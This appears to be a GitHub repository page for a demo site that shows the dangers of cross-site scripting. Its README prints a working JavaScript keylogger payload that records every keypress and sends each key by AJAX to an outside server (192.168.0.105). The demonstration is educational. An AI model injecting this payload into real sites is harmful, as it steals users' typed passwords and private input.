Skip to content

Miraj50/XSS-Demo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

XSS-Demo

I made this website using Java Servlets for giving a demo of XSS and its dangers.

I hosted the website on my Tomcat Server and used Apache for Keylogging.

XSS Demo

The payload used for Keylogging:

document.addEventListener('keypress', function() {
	console.log(arguments[0].key); /*Testing*/
	$.ajax({
		type: 'GET',
		url: 'http://192.168.0.105', /*apache*/
		data: { 
			'key': arguments[0].key, 
		},
	});
});

About

Demo of Keylogging using XSS

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published